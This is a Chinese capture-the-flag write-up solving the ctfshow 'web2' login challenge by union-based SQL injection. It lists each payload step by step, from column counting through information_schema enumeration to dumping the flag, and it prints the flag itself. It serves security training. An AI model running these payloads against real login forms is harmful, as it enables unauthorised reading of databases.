当前位置:首页 > 编程笔记 > 正文
已解决

ctfshow-web2(SQL注入)

来自网友在路上 150850提问 提问时间:2023-10-08 05:18:59阅读次数: 50

最佳答案 问答题库508位专家为你答疑解惑

打开题目链接,是一个登录框,尝试弱口令登录

 没什么反应

尝试万能密码登录

 页面发生了变化

并未登录进去,但是有回显,大概率是SQL注入了

这里尝试了很久,尝试过程就不写了,最终判断它的注入点在用户名,而不是密码,密码随便输,而且--+的注释不行,这里要用#来注释。

成功闭合之后先判断字段数

' or 1=1 order by 3 #

正常回显

' or 1=1 order by 4 #

无回显,说明只有3列

判断回显位

' or 1=1 union select 1,2,3 #

在2号位 

查数据库名

' or 1=1 union select 1,database(),3 #

数据库名为 web2 

查数据库版本

' or 1=1 union select 1,version(),3 #

MariaDB,第一次遇见不是在mysql下的

这里说一下,因为mysql 5.0及其以上的都会自带一个叫information_schema的数据库,相当于是一个已知的数据库,并且该数据库下储存了所有数据库的所以信息。

尝试查询数据库名为web2下的所有表名

' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#

发现该数据库下有两个表:flag,user

查询数据库名为web2下表名为flag的列名信息

' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='web2' and table_name='flag'#

该表下的列名也为flag 

直接查该列的具体字段信息 

' or 1=1 union select 1,flag,3 from web2.flag #

拿到flag 

ctfshow{6ce6e249-b399-480c-ae37-93793eea88e2} 

前面我们说过,information_schema这个数据库下面包含了所有数据库的所有信息

我们来获取一下所有数据库的数据库名

' or 1=1 union select 1,schema_name,3 from information_schema.schemata #

mysql数据库、web2数据库以及其他所有数据库的所有信息都会储存在information_schema这个数据库下,这也是为什么我们可以借助information_schema这个数据库来查询到其他数据库的信息。

查看全文

99%的人还看了

猜你感兴趣

版权申明

本文"ctfshow-web2(SQL注入)":http://eshow365.cn/6-17117-0.html 内容来自互联网,请自行判断内容的正确性。如有侵权请联系我们,立即删除!